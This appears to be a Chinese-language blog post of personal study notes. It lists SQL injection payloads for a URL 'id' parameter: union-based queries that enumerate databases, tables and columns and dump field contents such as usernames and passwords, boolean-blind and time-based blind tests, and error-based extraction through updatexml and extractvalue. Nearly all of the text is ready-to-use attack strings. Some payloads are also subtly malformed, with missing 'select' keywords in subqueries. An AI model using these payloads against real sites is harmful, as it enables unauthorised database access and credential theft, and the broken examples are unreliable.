SQL注入常用语句

原创

Ryuuz4k1 于 2021-01-21 17:43:23 发布 157 收藏 1

分类专栏： 笔记 文章标签： sql web

本文链接：https://blog.csdn.net/weixin_53498616/article/details/112963302


```
数字型注入：
查询数据库版本：
?id=-1 union select 1,2,(select version())
查询数据库：
?id=-1 union select 1,2,(schema_name from information_schema.schemata limit 0,1)
查询表名：
?id=-1 union select 1,2,(table_name from information_schema.tables where table_schema='库名' limit 0,1)
查询字段名：
?id=-1 union select 1,2,(column_name from information_schema.columns where table_schema='库名' and table_name='
表名' limit 0,1)
查询字段内容：
?id=-1 union select 1,2,(字段名 from 表名 limit 0,1)

字符型注入：
?id=-1' union select 1,2,(select database()) #
?id=-1' union select 1,2,(select database()) --+
?id=-1' union select 1,2,(select database()) -- a(任意字符)
```

```
布尔盲注：
length()函数:返回字符串的长度
?id=1 and length(database())>1
?id=-1 or length(database())>1
substr()函数:截取字符串，从第2位开始截取1位
?id=1 and substr(database(),2,1)>'k'
left()函数:截取字符串，从左开始截取2位
?id=1 and left(database(),2)>'kk'
ascii()/ord()函数:返回字符的ascii码
?id=1 and ascii(substr(database(),1,1))>107

延时盲注：
如果if判断正确会马上执行，如果错误则会延时5秒后执行
?id=1 and if(length(database())>1,1,sleep(5))
```

```
报错注入：
?id=1 and select updatexml(1,concat(0x7e,(select database())),1)
?id=1 and select extractvalue(1,concat(0x7e,(select database())))
?id=-1 union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information
_schema.tables group by a
```

```
常用函数:
concat()函数:将几个字符串拼接起来，形成一个新的长字符串
concat(0x7e,username,0x7e,password)
concat_ws()函数:concat()函数的简化版，只写一个0x7e即可(注：0x7e是十六进制的分隔符~)
concat_ws(0x7e,username,password)
group_concat()函数:将对应字段的所有结果都查找并全部返回到一条记录中
group_concat(password)
```